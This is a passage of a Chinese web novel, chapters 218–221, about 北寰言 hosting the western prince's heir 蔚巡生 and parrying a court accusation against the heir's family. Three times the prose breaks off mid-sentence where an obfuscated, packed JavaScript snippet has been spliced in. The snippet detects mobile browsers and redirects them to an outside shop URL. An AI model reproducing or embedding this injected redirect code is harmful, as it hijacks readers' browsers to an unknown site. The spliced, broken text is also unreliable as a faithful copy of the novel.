北寰言正愁的时候,凌信回来,看他在院子前面望着屋子发呆,问他想什么呢。 北寰言说蔚巡生已经到了猴山校场了,明日就会到临府来拜见。他八成想拖家带口地住在府上。 世子妃倒好说,可以跟北寰舞住在蕊仙殿,可蔚巡生带着姚子安,这两个人可不能怠慢了。 凌信当多大个事,道:“把我屋子腾出来给他们住,我们俩挤一挤不就行了?你睡床,我睡软塌一样的。” 也没有更好的办法,北寰言不跟凌信客气,当即点头跟凌信进屋收拾他的东西。 凌信屋里没有那么多私物。 临府建了药庐以后,他把医书都搬到了药庐去,平日他学医也在药庐里学。药庐就在空地边上,他习武的东西也全都放在药庐。 次日一早,蔚巡生先派身边的内官周年来临府叩门,送拜帖。 不到辰时,蔚巡生人就已经站在了临府门口。 北寰言远远看见蔚巡生马车的时候,心潮澎湃。 他的到来,就像是丢进平静湖面的一颗石子。许都这个看似平静的地方,会因为蔚巡生而溅起层层水波,直至掀起滔天巨浪。 北寰言还未来得及说话,北寰舞就身着宫装从北寰言身后探出头来。 她本就生得明艳,而今为了见蔚巡生一行人,特地打扮过,额头上点着花钿,全然是一副皇族贵气的模样。 她负手而行,笑盈盈地围着蔚巡生一行人走了一圈。 蔚巡生一行人只见过北寰言,没见过北寰舞。 现在看见有一个少女除了身高,其他的竟然跟北寰言长得几乎一模一样,不由得看呆了。 218. 拜访 北寰舞背着手绕着一行人走了一圈,最后转到蔚巡生面前,把这些人的名字一一唤了出来:“西境勤王府世子,蔚巡生。西境五洲节度使之子,姚子安。薛家弟子,舒星。世子妃束茗。我是北寰舞,北寰言的妹妹。” 蔚巡生在西境没见过像北寰舞这样敢对他如此无礼的人,不由得皱了皱眉。 但他很快就想明白了—— 北寰舞是皇族后裔,封长乐郡主。 品阶自然比他这种外姓亲王世子高出一等,在这没有人比北寰舞的品阶最大,所以即便是他是世子,也要向北寰舞行礼。 蔚巡生带着众人向北寰舞问安,北寰舞挑眉让他们都平身——这蔚世子倒是很懂规矩。 许都皇城,天子脚下,随便谁在朝堂上说一句话,都能左右西境日后局势。 北寰言到底在朝为官,他本应该与北寰舞一样,有世子之名,但他不姓许。 北寰言只能依着官职品阶向蔚巡生与世子妃束茗行礼:“见过世子,世子妃。” 蔚巡生摆手,言明自己是来拜见太傅的。 北寰言侧目,不想理他。 北寰舞皮笑肉不笑挤兑蔚巡生:“怕是黄鼠狼给鸡拜年,不安好心罢。” 北寰言让开路,做了一个请的姿势:“各位里面请罢。” 蔚巡生确实带了上好的西砚来送临太傅,可他此行目的并不在此。北寰舞也不想让太傅跟着他们一帮小辈瞎折腾,便要搀着太傅去试砚。 蔚巡生送了砚台,跟太傅寒暄了几句,便厚着脸皮说自己要在府上叨扰一段时间。 太傅年纪大了,喜欢清静。可他也喜欢府上有这么多孩子住着,热闹。 蔚巡生说要住在府上,临太傅只是点头,让北寰言好好招待。 北寰言就知道会是这么个结局,只能起身向着太傅一礼,带着蔚巡生往蔚兮堂去。 西境地处荒凉之地,没有江南水乡那般多水的建筑。 北寰言的院子本就是依着江南宅院建造的,假山流水,白墙墨瓦,名唤蔚兮堂。 蔚巡生看着这院子名字笑了,回眸看向北寰言:“还说不欢迎我?” 北寰言知道他指的是这院子的名字与他名字重叠,淡然道:“太傅取的名字,取自‘荟兮蔚兮,南山朝隮’。” 北寰言带着蔚巡生一行人到蔚兮堂与蕊仙殿的中间,道:“东苑是我与凌信住的地方,西苑是小舞住的地方。我没想过府上还有客人来拜访,没有客房,所以你们……” 蔚巡生知道北寰言不想让他缠着他,可他偏不,自作主张道:“我们一帮男人跟你住东苑,世子妃住西苑罢。” 北寰言还想再挣扎一下:“小舞,不喜欢有人进她的院子……” 蔚巡生回头看向北寰言,挑眉道:“那怎么办?跟你住?” 北寰言当即觉得蔚巡生这个无赖如果在许都多待一段时间,他可能要被他磨死。 “我去跟小舞说……”北寰言不想跟蔚巡生继续纠缠这事。 蔚巡生看见北寰言一副无可奈何的样子,当即应下:“那行。” 北寰言唤凌芷出来带世子妃去蕊仙殿住下,自己则是带着蔚巡生往自己的院子去。 “我院子里没有伺候的下人,身边只有三个亲卫,可他们替我办差不一定都在身边,所以如果各位想要茶水,还需亲力亲为。” 北寰言缓步带着蔚巡生一行三个男子往蔚兮堂里进。 九曲回廊之下有池塘蛙鸣,假山之上有矮松玉兰伸着枝条。 北寰言一身碧色对襟常服,外面一层轻纱微扬,在这院子里仿佛也是一道景。 他不疾不徐缓步走着,这是姚子安没有见过的尊贵。 就连蔚巡生也自叹不如。 这就是按照皇子的规制养出来的孩子。 论规矩与贵气,只有皇城那地方才能养出这样的人。 北寰言带着蔚巡生到了院内,指着两间房说:“世子与姚小将军就住这,我在隔壁院子。” 随后他转身看向舒星。 蔚巡生的病是薛家人治好的,舒星是薛彦的徒弟,跟着蔚巡生来许都,自然也是奉了师命来看护蔚巡生的身子。 “舒公子,若是有什么需要的药材,可以去后院的药庐取。”北寰言略带歉意道,“这院子实在没有那么多屋子,但药庐边上有几间厢房。我的亲卫都住那里,也着人去收拾过,还望舒公子不要嫌弃。” 舒星跟着薛家人四处游医,习惯了风餐露宿,有屋顶的屋子住,对他来说已经不可多得,他对吃住都没讲究,当即应下,要去药庐找些药材来熬药给蔚巡生喝。 他们已经找到了解蔚巡生身上毒的办法,可排毒调养身子还需要些时日,他不敢怠慢。 蔚巡生就这样住在了北寰言的院子。 北寰言回到自己屋里,看见凌信盘腿坐在软榻上看书,不由得叹了一口气。 招灵台建了月余,凌信在御林军盯了月余,临近万寿节,秋薄给他放假,让他回家休息。 凌信给蔚巡生姚子安腾位置,搬到北寰言屋里跟他同住,看见北寰言一脸愁容的进来,没忍住笑出声:“怎么了,一副愁眉苦脸的样子?” 北寰言没力气讲话,他感觉应付蔚巡生太耗费体力。 凌信丢下书,起身踱步到他身边,嬉笑道:“若不喜欢他住在府上,可以拒绝。为什么不拒绝?其实你也怕他住在外面没人照看,出事罢?” 北寰言睨了凌信一眼,走向书桌。 还没坐下就有外院小厮来禀,说是十六爷来了。 十六爷?! 北寰言与凌信都是一个激灵,连忙疾步往前院花厅去。 还未进入花厅就听见里面传来笑声,屋里的人相谈甚欢。 北寰言快步走进去绕过花屏,看见蔚巡生不知道什么时候已经到了,正坐在花厅上跟十六爷说话。 北寰言蹙眉,不敢怠慢,缓步过去欠身行礼:“十六爷。” 许景挚睨了北寰言一眼,招手让北寰言过来坐。 北寰言走过去的时候,看了蔚巡生一眼,他认识陛下?! 北寰言从西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992659|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境回来就一直在大理寺忙,朝堂若是没大事,他基本不上朝。 北寰言回来一个月,许景挚竟然也没见过他。 正巧这锦妃设计陷害的蔚巡生到了许都一头扎进临府跟北寰言住在一起,许景挚便动了出来玩的心思。 西境勤王府的小世子,蔚巡生。到底何德何能能让许都里这些人这么惦记?他一定要亲自来看看才是。 许景挚来了临府,先是跟老师临允见礼。 临允不在朝堂之上任职,却一直是皇子们的老师。几乎每日都要进宫去给皇子们讲学。 临允在朝外,比许景挚在宫里能听见的声音更多。 每当他听见朝内朝外的风向不好,便会入宫敲打许景挚。 许景挚虽然身为东陵帝君,面对老师敲打还是诚惶诚恐。 临允敲打他的时候,手上会拿戒尺。许景挚年少的时候读书就因为顽皮挨了不少戒尺。临允敲打是真的打,一尺子下去手能肿半边。 许景挚以前还是宁王的时候每月要听临允的筵讲,那时候还挨过打。登基以后倒是没挨过打,但是临允还是会拿着戒尺入朝拜见,提醒许景挚最近言行举止。 最近许都大动土木工程修建招灵台。 临允看见了便把北寰言找来问清楚其中缘由。北寰言一五一十地说这招灵台是为了祭奠江南漕运那些枉死漕工。 临允心生悲悯,见到许景挚免不了要问招灵台的事,许景挚只能应下说这事是他失察。 临允知道最近许都暗潮汹涌,便也不责问许景挚,只说这招灵台修这么大修这么多,难免有劳民伤财之嫌。 许景挚颔首笑道:“东陵国库日益充盈,这些银子花下去也是开采材料的地方与工部招来的建工拿着花了。朝廷每花一笔钱,都有许多人跟着受益。国库的银子放出去,才能再从税收上收回来。学生省得的。” 许景挚是临允教过的资质最好的君王。 他身为皇家子,有些时候纨绔些奢靡些也无可厚非。 临允不是老顽固,这些年临府上养着一群孩子,知道孩子心性是什么样的。 这天下终究是这些少年人的天下,很多事他都不便干涉太多。 临允与许景挚闲聊完便要去书房练字,许景挚起身相送,随后便着人去传蔚巡生。 蔚巡生进来看见许景挚,眼中没有惶恐,只是恭恭敬敬地行了一礼低低唤他陛下,许景挚就知道这孩子当真比一般人聪明。 蔚光良本就是一个聪明绝顶的人,虎父无犬子,这蔚巡生必然也继承了他父亲睿智。 “会下棋吗?”许景挚问。 蔚巡生颔首:“略通一二,望陛下不要嫌弃。” 许景挚用眼神示意蔚巡生过来陪他手谈一局。 蔚巡生走到许景挚对面坐下,执白子让许景挚先走。 许景挚落下一子,道:“身子好多了吧?” 蔚巡生也跟着在对角落下一子:“多谢陛下心中记挂。” “北寰言去找过你,你也见过他,”许景挚落子,“如何?” 219. 多事 蔚巡生轻笑抬眸:“陛下喜欢他,我也喜欢他。他是个值得信赖的人。” 许景挚眼眸微眯,看了一眼蔚巡生,继续落子。 “陛下喜欢下棋,我也是。”蔚巡生落子道,“‘下棋’的人越多,我越兴奋。” 蔚巡生这话有所指。许景挚看着棋盘上蔚巡生的布局,丑得要死,但坐在对面执子却是一副初生牛犊不怕虎的模样。 正巧北寰言来打断了棋局。 许景挚不想跟蔚巡生这种生手下棋,转而丢了棋,看向北寰言。 许久不见,他瘦了。 “这几日在家好好歇着吧,蔚世子远道而来,你应尽地主之谊。”许景挚见北寰言还想说什么直接打断他道,“我出不能出来太久,只是想见见你们。事情是做不完的,不如收敛心情,出去转转也是好的。” 许景挚起身,拍了拍北寰言的肩膀:“走了,不用送。” 北寰言还是恭恭敬敬地朝着许景挚离开的方向一礼。 蔚巡生跟着起身一拜,看着人走了,才笑盈盈望向北寰言:“怎么样,还是我面子大吧?我一来你就能休沐。走吧,跟我一起出去玩啊?” 北寰言不想理蔚巡生。只是深深看了他一眼,便转身走了。 蔚巡生轻笑,这人当真是捂不热。 * 北寰舞从太傅的院子回来就看见自己院子里多了一个人。 那个盲女…… 北寰舞眼眸微眯,看着凌芷拉着世子妃束茗过来冷声道:“小芷,膳厅摆饭了。” 凌芷应了一声,便拉着束茗往外走:“世子妃姐姐,我们去用膳吧!” 束茗跟着凌芷往外走到北寰舞面前行了个礼:“郡主。” 北寰舞蹙眉,语气很是不友好:“你怎么到我院子来了?” 凌芷连忙抢话道:“舞姐姐,是我带世子妃姐姐来的。” 北寰舞见凌芷如此,冷哼一声:“是你言哥哥让你带她进来的吧?” 凌芷不知道为什么北寰舞如此不喜欢世子妃,只能跑过去抱住北寰舞的胳膊撒娇:“舞姐姐,难不成你想世子妃姐姐去东苑跟言哥哥住一起吗?” “……” 北寰舞没话反驳。 北寰舞拉着凌芷,凌芷又拉着世子妃,三个人往膳厅去。 这一路上北寰舞都在琢磨勤王府的事。 到了膳厅,她一直用玩味的眼神盯着这个世子妃。 束茗知道北寰舞一直盯着她看,不敢抬头。 北寰舞望着束茗,肚子里坏水直往上窜,她缓缓开口问北寰言:“哥,下午什么安排?” 北寰言把嘴里的东西咽下,放下筷子回道:“去太傅那,跟太傅一起练字。” 北寰舞挑眉看向蔚巡生:“蔚世子呢?” 蔚巡生自然是要缠着北寰言的,他笑眯眯道:“我正好也想向太傅请教书法。” “姚小将军呢?”北寰舞又转向姚子安。 姚子安一向不喜欢这些文雅的事,不好意思地抓抓头道:“我下午去校场。” “哦——”北寰舞转向世子妃,“这么说,只有世子妃无事可做了?巧了,我下午有个局,世子妃与我一起出去玩玩罢?” 束茗不知道应不应该应,下意识地去看蔚巡生。 蔚巡生点头示意束茗可以去。 束茗才回了一句:“我同郡主出门罢。” 北寰舞眯着眼睛:“那可真是,太好了。” 下午北寰舞带着束茗坐马车走了。 北寰言在屋里小憩刚起,就看见凌芷鼓着小嘴,若有所思站在他寝室门口,不知道在想什么。 北寰言起身拿起外衣穿上,走过去低声问:“怎么了?” 凌芷似有犹疑拉住北寰言的胳膊,拉着他,让他弯下腰,伏在他耳边轻轻地说道:“言哥哥,我上午给世子妃姐姐把脉看眼疾,好像摸出点别的什么。” “什么?” 北寰言眉宇微蹙,对方果然在世子妃身上有后手。 凌芷不敢随便说,慢吞吞地转身坐在门槛上。 北寰言便也跟过去,与她一起坐在门槛上。 “我总觉得世子妃姐姐的脉象,像是用过避子汤的样子。”凌芷低着头小声嘀咕。 北寰言心下一惊忙问:“这事你还同谁说了?” 凌芷摇头:“没有,我就跟言哥哥说了。我怕我跟哥哥说了,他就要去摸世子妃姐姐的脉,可这样一来,这事不就瞒不住了吗?” 北寰言轻轻摸了一下凌芷的头:“好孩子,这事确实不能让别人知道。” 凌芷很是担心问:“这事,我能告诉世子妃姐姐吗?” 北寰言道:“你觉得呢?” 凌芷想了想,摇头:“如果她知道有人不想让她怀孕,那该多伤心啊……我不想让她伤心。” “你不想说,那便不说。”北寰言低头道,“这事要查清楚,才能知道其中原因。” “言哥哥能帮我查清楚吗?”凌芷抬头望向北寰言。 北寰言望着凌芷,轻轻点了下头。 凌芷站起身,回了药园。北寰言也跟着站起来看着凌芷离开。 他表情逐渐消失,心中暗自思忖——世子妃一直在用避子汤,这事,非同小可。 北寰言习武,他能听见离他很近的气息。 他侧目,目光微微后移,看见了屋后的人影。 他沉思片刻,不做声地回了屋。 * 北寰舞带着束茗一路到了许都最大的乐坊,清音阁。 一路上北寰舞都用玩味的眼神盯着束茗,让束茗很不自在。 她先问,却不知道应该从哪里问起。 北寰舞见束茗欲言又止,手撑着脸,挑眉道:“世子妃有话直说便是。” “我就是觉得,郡主看我有些奇怪……”束茗还摸不准北寰舞的性子。 北寰舞见她如此说,也不回避,直接道:“确实。” 北寰舞看见束茗的那一瞬间就想到一个有趣的事。 既然束茗救了蔚巡生以后,她的养父就拿到了锦家的牌子,有人在以锦家的名义养着束茗,那么对方一定是希望束茗在来了许都之后与锦家相认。 顺势而为的事,北寰舞不介意当一次推手。 只是不知道这世子妃知道自己那身份与锦家脱不开干系的时候,她会是一副什么表情呢? 北寰舞想看,很想很想看。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008123|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所以这一路,她都在盯着束茗,盯得她浑身不自在。 清音阁是许都那些夫人小姐们附庸风雅的地方。 北寰舞带着束茗往二楼雅间去,看着楼下逐渐聚集的人群,嘴角的微笑不由得更加灿烂。 等她们到了雅间,楼下的人基本已经到齐了。 北寰舞打开窗子,站在二楼往下看缓缓道:“今日这里是锦家四姑娘包场摆的宴席。” 束茗微微一怔,站起身,跟着走过去,跟着北寰舞一起往下看。 北寰舞指给她看锦家四姑娘。 束茗看见那锦四姑娘的时候,扶在窗棂上的手不禁微微颤抖。 北寰舞看见束茗拿手指,缓缓地在窗棂上画锦四姑娘衣服上那些复杂的纹路。 “四姑娘衣服上的那些纹路……”束茗轻声问道。 北寰舞挑眉:“锦家家徽。许都里的人都知道。” 束茗抿了抿唇,收回目光看向北寰舞:“郡主早就知道我与锦家有关系,特地带我来认锦家家辉的?” “哥哥没与你们说,是觉得没必要。你们总要合宫夜宴上看见这个的。”北寰舞淡淡道。 “郡主……是不是知道我的生母是谁?”束茗手指微微蜷起。 “锦家的事啊……”北寰舞道,“我可以给你一些信息。你自己猜啊。” 束茗颔首,沉默不语。 北寰舞道:“锦家是许都新贵。是在锦妃入宫之后得了陛下青睐。一人得道鸡犬升天。连带着她哥哥,锦海也跟着一起在许都混了一个正五品的御史中丞。锦妃膝下有一子,十三岁,一女十一岁。锦海嫡出的有一个儿子,四个女儿。分是年十九、年十七、年十六、年十五、年十四。这锦四小姐,就是锦海最小的女儿。锦家这一代家谱简单,就这两个人。” “郡主,”束茗垂眸,“为何要来同我说这些。” “我那日看锦妃涂得胭脂颜色,我不喜欢。”北寰舞轻飘飘地说出这么一句。 束茗沉思片刻问:“郡主觉得我是锦家人?” 束茗在等北寰舞的回答,北寰舞却是轻轻一笑。 她眼看着束茗表情从疑惑变成惊恐最后走向绝望。 目的达到了,继续待在这里也没用。 北寰舞先束茗转身走到门口:“回去罢,这不好玩。” * 北寰舞回府便去找临太傅的书房找北寰言。 临太傅不在,只有北寰言一人在伏案练字。蔚巡生不知道跑到哪里了。 北寰舞问:“蔚巡生呢?” 北寰言没抬眸,静静写字,直问道:“你带世子妃去认锦家家徽了?” 北寰舞负手,漫步走过去:“是啊。我讨厌锦妃还需要理由?年前三皇子许承盛在后花园难为我俩的事,我还记着呢。” “小舞!”北寰言沉声,隐约有些愠怒。 北寰舞不想跟他争这个,莞尔道:“我不过是让她知道了她迟早都会知道的事,不算是乱了局面。” 北寰言蹙眉:“你又何必多拉一个无辜的人下水?” 北寰舞轻笑:“那算是我拉她下水?她本来就在水里不出去。锦妃是弃子,我们何不让这颗‘弃子’演得局变得更有意思?” 220. 上朝 北寰言望着北寰舞许久,才缓缓道:“凌芷说,世子妃一直在用避子汤。这事,你知道吗?” 听了这话,北寰舞的表情立即从玩味变成了肃穆,她敛了那懒散的笑意,神情逐渐凝重。 北寰言道:“勤王府的事情已经露出端倪,你不要多生事端,让这局徒生变故。” “呵,这事还真是越来也有意思了。”北寰舞眼眸变得犀利,“我们再耐心等等,等对方多走几步,很快我们就知道到底是谁操控了这整张棋局。” 北寰舞从临允书房出来,临允才进去。 他在外面听见了北寰双子说悄悄话,便在外面站着等了一会儿。 进去的时候她们已经说完,北寰舞对着太傅淘气了一下便离开了。 临允进屋问北寰言他们俩在说什么。 北寰言也不隐瞒,直说在说勤王府的事。 “勤王府,”临允只是略微想想就知道北寰言意思,“眼下西境兵权没挟制,陛下着急也在情理之中。” “朝中有人替陛下分忧,勤王府的事只是对方一步棋。”北寰言道,“我们与对方的对弈,更快就会有结果了。” 临允轻叹一口气,北寰言这孩子像极了他的父亲——天生是一位王者,却没有执掌天下的野心 这心思让他们俩无论谁在许都都如履薄冰。 * 北寰言休沐这几天,他一直在太傅书房里学习。 蔚巡生与世子妃也跟着一起听太傅的教诲。 姚子安不喜欢读书,他日日上教场跟许都军门里小将军们切磋,硬是把一手姚家枪法耍得虎虎生威鲜有败绩。 这些养在许都,还未上过战场的小将军们哪里见过姚子安这战场枪?都崇拜得要死,给临府下帖子请姚子安过府一叙。酒过三巡那边开始称兄道弟,上天下地吹牛。 姚子安也不只是去喝酒。 蔚巡生给他安排了任务,让他去打听许都军门之间的关系。 但让姚子安与蔚巡生没想到的是,许都军门竟然在“朝东门”事件的影响下活得如此小心翼翼,不仅让这两个少年人唏嘘当年那场屠戮军门闹剧让许都军门少了些军人的傲骨。 北寰言在家歇了几日后,宫里终于送来消息说让蔚巡生明日进宫拜见贺寿。 今天来朝贺寿的国家颇多,宫里不得不提前安排蔚巡生进宫。 与此同时,藏息阁也送来消息。 北寰言拿到藏息阁的信,看了一遍,沉思许久,最后把信放在烛火上烧了,对凌信道:“明日我去上朝。” 蔚巡生进宫这日北寰言也起了个大早。 他身着朱色小团花绫罗制的四品朝服准备去上朝。 平日里北寰言在府上只穿浅色对襟常服,淡然宛若谪仙一般不堕凡尘。 而今蔚巡生看见北寰言这幅威严的模样,才意识到北寰言确实是当朝年纪最小的宰辅。 “上朝去?”蔚巡生明知故问,“陛下不是让你在府上休息?” 北寰言睨了他一眼:“休息够了,就该去了。” 凌信早就在门外套好了马车,北寰言坐上马车往宫门去。 众臣工都在议政殿前等着上朝,北寰言看见大理寺卿汤邢便上前作礼:“大人。” 汤邢回身看见北寰言,态度极其温和:“来了?” 北寰言颔首:“是。” 两人寒暄一阵,内官便高呼上朝。 北寰言随着人群一起入殿,心里捉摸着早上藏息阁送来的那封信。 真是有意思…… 御史台竟然拿到了姚子安在黑市里用一两银子买来的商禄王朝的玉玺,准备以这东西为凭证,参西境勤王府通敌。 看来这勤王府里有对方的内应。不知道蔚巡生听到自己被参的消息会作何感想。 果然早朝之上,御史台有人参西境勤王府与西境节度使,与西境有勾结。西境眼下西域局势紧张也是勤王为了让自己儿子回去而造的势。 北寰言眼看着那御史拿出那商禄王朝的玉玺,呈给陛下。 对方终究忍不住,递出了杀招。 北寰言眼眸微眯,看着御史台的御史们被人当枪使。 坐在龙椅上的许景挚看了这玉玺一眼,满眼都是戏虐。 一个商禄王朝的玉玺就想在东陵朝廷上掀起血雨腥风,这人当真是胆大妄为。 许景挚沉下声问堂下众臣工对这事有何高见。 堂官们都不约而同地把目光投向不经常来上朝,一上朝就必出大事的北寰言。 北寰言承受着同僚的目光,侧出一步,欠身道:“这事不可偏听偏信,既然是有人举报,也该有人去核查才是。” 许景挚很是配合北寰言把这戏演下去:“那你以为派谁去核实这事比较好呢?” 北寰言蹙眉,这事他还真没想好。 郭学林早就动身去了江南漕运盯着纵尚,防止蔚巡生进都这事生变。 这事其实可以交给新上任的大理寺少卿陆休去查,就是不知道这事挨着西境,他愿不愿意出这个头。 就在北寰言踌躇之时,身后有人侧一步领了命。 北寰言回身看去,只见领了这差事的人是锦妃的哥哥,锦海。 这人还真是……愚蠢之极。 北寰言忽然就明白了那时郭学林跟他说过的话——锦海是中书令与陛下放在御史台的一把剑,只因为他够蠢,所以可以为任何人所用。 许景挚一看锦海出来领这差事当即就许了他差事。 下朝之后,锦海还特地来跟北寰言说,他要去临府提调蔚巡生与姚子安。 北寰言淡淡回道他直接按照章程办事即可。 景雀追出来同北寰言说陛下找他。 北寰言辞了锦海,便往御书房去。 路上北寰言问景雀陛下可是为了方才朝上的事找他,景雀答曰应该是。 北寰言心里有了数,便进勤政殿参见许景挚。 许景挚让北寰言平身,眼眸清明睨着他,问道:“你今日来上朝就是为了勤王府的事?” 北寰言道:“是。” “既然是为了勤王府,方才在堂上为何不说话?”许景挚问。 北寰言道:“这事只看陛下心思,我多说无益。” 许景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025071|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挚笑问:“孤的心思?” 北寰言有劝谏的心思,直言道:“勤王府这事出得蹊跷,这明显是有人想要把西境兵权是送到陛下手上。送不送如何送,是别人的事。接不接如何接,却是陛下的事。” 许景挚似笑非笑问北寰言:“那你觉得孤是应该收了这礼,还是收了这礼?” 北寰言蹙眉:“陛下收了这礼,可准备好了回礼?” 北寰言这话说的何其明显? 对方能送陛下西境兵权,陛下必然要用其他的东西来换。不然对方为何要如此费尽心机地排兵布阵? 许景挚是什么人,他怎么会不知道这事若是他顺水推舟的应了,便要拿出别的东西来换? 可他知道是一回事,被人毫不留情地戳破心思,又是另外一回事。 许景挚心头怒火渐旺,声音也冷了下来:“这事轮不到你置喙孤。” 听许景挚这么说,北寰言就知道许景挚心里有一本明账。 他丝毫不露怯,朗声回道:“陛下若是心中早有主意,又何必唤臣来多此一问?!” “北寰言!”许景挚大怒,倏地站起身指着他,“你休要放肆!” 北寰言铮铮铁骨,面对许景挚龙颜大怒他丝毫不漏怯,垂首跪下一礼俯身一拜,气势丝毫不减与许景挚争锋相对:“陛下明知道这事是有人陷害,还要纵容那人。不是明君所为。臣身为臣子,有辅佐君上之心,亦有匡正君上言行之责。君上今日唤臣来,便是想问臣这一局如何解。臣答了,君上不满意。是因为君上动了不明的心思,恼羞成怒罢了!” “你!”许景挚气结。 许久都没听见有人敢这么跟他说话了。 可许景挚在皇位十七年,早就练就了控制情绪的能力。 他深吸一口气,稳住心神,缓缓坐下冷声道:“你笃定这事是有人陷害?” 北寰言直起身子直言道:“陛下这些年军改推行得很好,所有军门升任仕途清楚明了。西境这些年报上来的军功兵部都按照军改考核办法进行嘉奖。所有军门都有出人头地的途径,他们为何还会对朝廷不满?再者户部给西境军饷逐渐增加,西境军日子比之前好过太多。西境二十万大军除了东陵,西域没有任何一个国家养得起。蔚光良已是亲王之尊,姚元武也是五洲节度使大权在握,臣不知道西域还能给他们什么利益,能让他们背叛朝廷。” “你想不出,不代表没有。”许景挚缓声道,“蔚巡生来许都只找你只信你,你就不怕惹祸上身吗?” 许景挚这话说得何其严重。 在北寰言听来,这话就像是许景挚对他、对安王府的敲打。 更大的利益。 当然有。 只不过西域那些国家给不起,安王府给得起。 北寰言抬眸以赤诚之心相待:“臣行得端,怕什么?” 许景挚望着北寰言这清亮的眸子,忽然想起了远在暮云隐居的许安归。 当年许安归回来扳倒太子,提所有军门翻案,即便是步步惊险,他也没有退却一步。 而今轮到他儿子了,这人眼神里竟也没有一丝一毫的退缩。 221. 错脉 强压之下岿然不动。 这便是许景挚想要的太子之姿。 许景挚是明君,他惜才。 他不忍心让北寰言在这场纷争里不能脱身。 “勤王府在许都本就应该有府邸,”许景挚道,“蔚巡生一直住在临府不合适,一会儿他们来贺寿,孤便赏他们一处宅子,不日便让他们搬出去吧。” 北寰言缓缓一礼,沉声道:“恕臣不能遵旨。” 许景挚盯着北寰言,眸光渐冷。 北寰言道:“勤王府与西域互通的折子刚到御前,陛下就着急让他们与臣划清界限,反倒像是勤王府真做了什么见不得人事,才让陛下不得不把臣摘出来一般,赐给他们宅子。朝堂议事这事闹得满城风雨,很快那些平日里与姚子安走动的许都军门就会退避三舍。若此时,我也如此,那才真是世态炎凉。陛下,西境勤王府本身就远离许都,人远着,不能让他们心也远了,不是吗?” 许景挚垂眸沉思了许久,才挥手让北寰言退下。 这事他自有定夺。 北寰言从御书房出来,直奔宫门。 等马车的时候,他才发觉自己后背发凉,出了一身的虚汗。 凌信驾车来看北寰言脸色不好,下车问他怎么了,北寰言只能摇头。 他总觉得有什么事开始变味。 那是一种逐渐脱离掌控的不安感。 陛下方才那是什么意思? 北寰言不敢往深了想。 * 蔚巡生进宫朝贺回来,前脚刚进临府,后脚就有御史送调查令来要蔚巡生跟他走一趟御史台。 门房连忙着人去通知小主子。 流云来禀说御史台来人了,北寰言这才匆匆从蔚兮堂里出来,快步到花厅请御史喝茶。 来人很是客气只说公务在身不便耽搁,茶就不喝了。 北寰言一礼,缓缓道:“世子才从宫里回来,还没落定又要奔波实在辛苦。不如让世子午休之后再去应差,可好?” 御史台的人很卖北寰言面子,毕竟勤王府这事还没定性,蔚巡生只是协助调查,并没有真凭实据,他还是世子之尊,轻易得罪不得。 北寰言说下午他亲自送蔚巡生去御史台,御史才欠身行礼。 御史走后,北寰言从衣袖里抽出一本折子递给蔚巡生道:“趁着这点时间,你最好与姚子安商量个对策,再去御史台。” 蔚巡生接过,也不着急看,只是笑盈盈道:“你今日上朝去,不会是得到了消息,专门替我们西境说好话的吧?” 蔚巡生这人太蹬鼻子上脸。 北寰言不想跟他废话,伸手要拿回那本折子。 蔚巡生立即把折子藏在身后:“给我的东西,哪有收回去的道理?” 北寰言淡然道:“我看你似乎不需要这折子,也能应对自如。” “那可不行,”蔚巡生宝贝地把折子塞进怀里,“你给的东西我自然要收好,万一上面有什么情话呢?” 蔚巡生说这话的时候,眉眼里全是调戏。 北寰言不吃这套,转头去看束茗:“世子妃脸色不好,让小芷给世子妃把把脉看看是不是中暑了?” 蔚巡生一听束茗脸色不好,立即不在缠着北寰言,转尔去关心自己的妻。 北寰言松了一口气,去后院药庐找凌芷。 凌芷正顶着烈日蹲在药园里看她新种下的曼陀罗。 她这次回暮云峰跟着刘谦好好学习了如何在东陵气候环境下种植曼陀罗。 刘谦所有的经验都记在脑子里,不成书册没办法传播。 凌芷只能学会了以后,回许都自己种的时候在册子上好好记录。 这是太傅教她的。 太傅让凌芷现在把种植曼陀罗的过程写成日记,日后好交给御医院编成书,在全国推广。 凌芷自从新一批的曼陀罗种下,她每天三遍要来药田看曼陀罗生长情况,有时候还要翻土刨坑,穿裙子总是拖在地上洗不干净。凌芷怕给蕊仙殿的姐姐们添麻烦,于是她便不再穿裙子,改穿裤子。 蕊仙殿的姐姐们看凌芷如此体恤她们,便把她的衣服延长了,用纱绫束住,刚好能到凌芷的膝盖,像是个小裙子。 北寰言看见凌芷蹲在药田里,脑袋被烈日晒得冒烟,不由得蹙眉,回屋里找了一把伞,到她身边替她撑着:“这么大日头,不晒吗?” 